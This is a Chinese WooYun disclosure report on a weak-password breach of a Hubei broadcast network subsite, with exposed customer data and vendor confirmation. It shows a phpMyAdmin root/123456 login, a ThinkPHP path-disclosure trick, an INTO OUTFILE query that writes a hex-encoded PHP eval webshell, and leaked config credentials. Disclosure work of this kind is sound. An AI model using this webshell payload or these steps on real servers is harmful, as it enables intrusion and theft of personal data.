当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0199018

漏洞标题：某省广电网络某站点弱口令导致getshell(影响近万用户信息)

相关厂商：湖北广电网络

漏洞作者： 路人甲

提交时间：2016-04-21 21:40

修复时间：2016-06-09 16:00

公开时间：2016-06-09 16:00

漏洞类型：后台弱口令

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-21： 细节已通知厂商并且等待厂商处理中
2016-04-25： 厂商已经确认，细节仅向厂商公开
2016-05-05： 细节向核心白帽子及相关领域专家公开
2016-05-15： 细节向普通白帽子公开
2016-05-25： 细节向实习白帽子公开
2016-06-09： 细节向公众公开

简要描述：

拿信息安全当儿戏

详细说明：

http://**.**.**.**/


湖北广电网络下面的一个子站，使用的是修改版的thinkphp，有phpmyadmin，弱口令root/123456

mysql.png


影响近万人的信息，包括手机号，家庭住址，智能卡号等等

6500.png


3200用户.png


1.7万的订单

17000order.png


可以修改关注者的积分

修改积分.png

漏洞证明：

有phpmyadmin，想着怎么能拿下系统权限呢，没有路径，后来找到了登陆界面

http://**.**.**.**/gdyxv2/index.php?s=/home/user/login.html


thinkphp最容易爆路径了，直接去掉后面的加上单引号

http://**.**.**.**/gdyxv2/index.php?s='


lujing.png


/home/wwwroot/default/gdyxv2/


写入shell

select 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile '/home/wwwroot/default/gdyxv2/aa.php'     cmd


得到了shell

shell.png


$_config['db']['host']  		= '**.**.**.**';		
$_config['db']['user']  		= 'gdyx';		
$_config['db']['pass'] 	 	    = '123456';		
$_config['db']['char'] 		    = 'utf8';		
$_config['db']['pconnect'] 		= 0;			
$_config['db']['name']  		= 'gdyxt';		
$_config['db']['prev'] 		    = 'gd_';
$_config['web']['title']        =   '武汉广电有线';
$_config['web']['seotitle']     =   '武汉广电有线';
$_config['web']['keywords']     =   '';
$_config['web']['description']  =   '武汉广电有线';
$_config['mail']['server']      =   '**.**.**.**';
$_config['mail']['port']        =   25;
$_config['mail']['user']        =   'dwzhanglong@**.**.**.**';
$_config['mail']['password']    =   '123456';
$_config['mail']['delimiter']   =   1;
$_config['mail']['mailusername']=   'KF265';
$_config['mail']['adminemail']  =   'dwzhanglong@**.**.**.**';


微信公众号信息，留一线，不贴出来了

gongzhonghao.png


最后的最后，在附上两个

http://**.**.**.**/ibh/.svn/entries
http://www.**.**.**.**/ibh.zip


修复方案：

修改口令

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-04-25 15:57

厂商回复：

CNVD确认所述情况，已经转由CNCERT下发给湖北分中心，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评价